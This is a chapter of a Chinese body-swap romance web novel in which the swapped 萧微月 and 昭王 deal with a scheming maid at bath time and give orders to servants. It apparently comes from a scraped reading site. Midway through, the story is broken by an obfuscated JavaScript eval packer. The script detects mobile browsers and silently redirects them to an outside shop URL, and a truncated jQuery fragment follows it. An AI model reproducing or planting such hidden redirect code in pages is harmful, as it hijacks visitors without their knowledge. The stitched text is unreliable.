萧微月现在才反应过来。


    昭王先前不肯放她离开,偏要给她劳什子‘专宠’,以此满足他喜欢看女人争宠的恶趣味,然而现在......


    以外人的眼光来看,她这个假王爷,现在可不就是在偏宠着假萧三姑娘?


    王爷为了新入府的通房丫鬟,处置了欺负人的嬷嬷下人,甚至安排其他通房对其专门伺候,还将一个不懂圆滑的通房扔进了柴房。


    通房进府不过两天时间,漪秀院就发生了这么多事,可真让人看热闹了。


    都说三个女人一台戏,发生在漪秀院的这出戏开局就很抓人眼球呀。


    通房丫鬟们斗来斗去还能因为什么,不就是后宅女人们争宠那点事儿呗。


    不知不觉间,剧情走向完全如昭王安排,完全如了他原本的打算。


    靠,昭王要是意识到这件事,恐怕会埋在被窝里偷偷笑吧!


    哼,这倒是如了他的意。


    此时此刻的漪秀院。


    “微月妹妹,别害羞嘛,快把衣裳脱了,你行动不便,姐姐来帮你擦身子。”冬雪抬手就要扯秦宥的衣裳。


    她可瞧见王爷如何待彩莹了,她虽然嫉妒萧三姑娘得了王爷的偏宠,但才不会像彩莹那么傻,眼下只会将面子活做得足足的,让王爷看到她乖顺贤淑的美好品质。


    她出身卑微低贱,只能先在王府立稳脚跟,在王爷面前赢得个好印象,至于以后她能不能得到王爷的另眼相待,那就全靠她的造化了。


    不过,如若遇到什么难得的好机遇,她一定不会错过。


    她在床笫之上的手段无人能及,一旦王爷尝过甜头,一定不忍舍弃她的。


    她不求大富大贵,只要能在王府成为一名伺候主子的姨娘,她就心满意足了。


    秦宥现在的心简直在敲锣打鼓。


    要不是他的脸经历了半天的暴晒,冬雪一定会发现他的脸涨得比猴屁股还红。


    “不必,本......我自己来,你出去!”秦宥绷着脸轰冬雪离开。


    这是他生平第一次被一个异性硬扒着脱衣服。


    “哎呀,王爷让我精心伺候你,他要是知道我留你一个尚且不能完全自理的伤患独自沐浴,一定会惩罚我的。都是女人,你扭捏什么呀?之前还不是被彩莹伺候着如厕来着?怎么,就许她看不许我看啊,姐姐我伤心了呢。”冬雪作生气状。


    “我才没被她看到!”秦宥义正言辞解释,“她把恭桶放进来后就去旁边等着了,一切都是我自己来的!”


    秦宥不会让人见识到自己任何时候的丑态,即使他现在用着萧微月的身体也不行。


    如厕这种事,除非他瘫了腿脚不能动,他绝不会让人帮忙。


    “哎噫......”冬雪嫌弃地发出一句怪声,“你是不是如厕完没好好擦,味道有点重哦,真是的,彩莹真是一点都不尽心尽力,怪不得王爷瞧不上她。”


    秦宥呼吸紧了紧。


    女子小解完还用擦吗?


    他当时没怎么敢往下看,匆匆解决了就离开了恭桶。


    的确,穿上裤子后,感觉有些潮乎乎的。


    “姐姐知道你以前身为将军府千金,平日如厕用惯了细软白棉纸,但王府的草纸也很光滑,不会有多难用,该擦还是得擦啊,你当过千金小姐那处更为娇嫩,但府中下人都是这么过来的,棉白纸可是主子们专用。你以后千万要注意啊,可别因为这点若有似无的味道得了王爷嫌弃,男人们自己不将就,对女人要求可高哩,”冬雪真心劝告,“不过我看王爷对你偏心得很,回头你找机会和王爷提一提,让他提高咱们漪秀院的吃穿用度,说不定姐姐我还能跟着你沾点光。”


    冬雪继续感慨,“先前我去皇宫在宫宴上献舞时,曾用过一次棉白纸。用之前先用水湿润一下,无论擦屁.股还是擦前面,那叫一个舒......”


    “好了!”秦宥被冬雪的话臊得脸色红得发紫,赶紧出声打断,“我知道了,我会注意的。还有,沐浴这事我自己来,如果王爷问起来,我就说都是你伺候的,你安心出去罢。”


    冬雪闻言笑了,她还蛮喜欢萧三姑娘这时的腼腆,她也不就不继续掰扯了,“行啊,那你用完水了就喊我,我收拾收拾浴桶和脏衣,”她站起来,一边往外走着一边自言自语着,“唉,不知王爷什么时候再派个丫鬟来,我哪能成天做这种粗活?桶里再多放点水我都拎不动了,看,手指都粗了,将来还怎么伺候王爷?”


    直到房门关紧,秦宥深吸了好几口气才舒缓了心境。


    这都什么跟什么啊!


    他容易嘛他!


    做好了些许心里建设,他仔细着伤口褪去了衫子和亵裤,高高扬着头缓慢踩进了盛有半桶水的浴桶,感受着清水裹满下半身的温暖,他单手将巾帕浸入温水,缓慢擦拭着温水不能浸泡的位置。


    从开始脱衣服到现在,他一直都没敢往下看。


    女子身段纤细,曲线柔滑,肤质光滑细腻,他也无心在意,直到巾帕不小心触碰到了一处敏感,害得他控制不住紧绷了脊背,他才下意识往下看了一眼,但很快就移开了视线,不过脸颊上不容易看出的绯红一下子就蔓延到了脖颈,连带着那处敏感又重现起刚刚酥麻般的感觉来。


    小桃子尖尖这般不禁碰吗?


    秦宥很想深究,但他最终他还是守住了心底的那道高山般的防线,心底重复默念着一句话。


    这副身体不属于他,这副身体不属于他......


    敏不敏感与他无关。


    渐渐的,他身心稍有放松,紧闭着双眸仰靠在桶沿,思绪却依旧凝成了一团乱。


    萧微月这个女人属实很难对付,离经叛道,不知所谓。


    不知她怎么养成了这般气人的性子,完全没有京城绝大多数闺阁女子该有的温柔顺从。


    千不该万不该,他不该做出将她带回府的打算。


    可一切都为时已晚,万一,万一他真要以这副身体度过往后余生......


    脑瓜仁“嗡”的剧痛了一下,秦宥放弃了继续深入思考下去。


    不,他是不会认命的。


    无论付出什么代价,他都要换回他的身体。


    他累了,先过好今晚再说。


    ......


    “青松,明日你出府一趟,去为萧三姑娘买个能干的小丫头伺候。”萧微月正襟危坐,在太医帮他换完药后沉声嘱咐。


    原身对冬雪多少有点了解,那个女人貌似很会做表面功夫,不能全指望她去伺候。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480804|201724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “小的知道了,可是,”青松有些疑惑,“王府这么多下人,不乏称主子心的,为何不从中挑一个......”


    萧微月抬起凤眸幽幽看了一眼青松,对方立即闭嘴。


    她是不可能让昭王接触到王府任何人的,包括一个无关轻重的下人,以免亲手递给他搞事的机会。


    冬雪见识过昭王今日遭遇过的苦难,相信她那套‘萧三姑娘性情大变精神失常’的说法,且她才入府,没有对昭王有着骨子里的敬畏,萧微月确信冬雪不会成为昭王的助力。


    “还有,在外面顺便寻一个擅长治疗跌打损伤的女大夫,重金请人入府帮萧三姑娘诊治。”


    府医也是王府的人,萧微月杜绝一切能让昭王向外面传递消息的机会。


    青松原本还想问一句为什么要这么麻烦,王府府医的医术还算精湛,想到萧三姑娘的受伤位置,以及自家主子对小厮们碰萧三姑娘那么大的反应,他就明白了。


    这是王爷的占有欲犯了。


    帮萧三姑娘看病的,也只能是女大夫才行。


    青松有些丈二和尚摸不着头脑。


    据青霭说,王爷决定带回已经逃出王府的萧三姑娘,是存了利用之心。


    可眼下看来,王爷明明就是对萧三姑娘生了真心。


    想到两人昨日回府时在马车上的封闭式短暂相处,以及两人罕见地被同一只箭射穿故而共同患难,青松一下子就想通了。


    自家铁石心肠的主子终于开窍了!


    他们这些做属下的貌似也了却一件心头大事。


    单论外形来看,萧三姑娘没什么配不起自家主子的,主子开心,他们也开心。


    “主子,要不要去宫里请女医?”青松试探问道。


    萧微月觉得青松的问话实在是太多了,但还是耐着性子回他,“萧三姑娘的伤势并不太重,将本王的用药也给她分去一份,想必她会很快恢复康健。”


    萧微月怎能让昭王接触宫里的人?


    “主子说得是,那小的也将圣上赏赐的那瓶去疤膏药分装给萧三姑娘,以免将来留下伤疤碍主子的眼。”


    萧微月觉得青松这句话说得很没道理。


    昭王留下伤疤为什么会碍她的眼?


    伤处在肩膀又不是在脸上,谁的眼都碍不着。


    以前她小时候淘气爬树,小腿留了一条蜈蚣长的疤痕她不曾在意。


    “主子,小的帮您准备温水沐浴,可需要小的伺候?”


    今晚昭王真是惹到她厌烦,她实在不想看到昭王的身体,更不想帮昭王清洁,她要当一晚邋遢男人,“明早等本王恢复经历后再洗吧。”


    也许以后她的灵魂彻底与这副身体融合,她心里就不会再产生这般芥蒂。


    “好,那小的先退下了。”


    萧微月的确很累了,累得直接和衣躺下。可没过多久,青松叩门请示。


    “主子,老国公来探望您了。”


    萧微月闭着眼睛不耐烦回他,“不见,让他回去。”


    就算皇帝老子来了,她也要先好好睡上一觉再说。


    又不知过了多久,萧微月又被外间传来的持续敲门声吵醒。


    “主子,有人贿赂门房,让他给萧三姑娘递一封信笺。”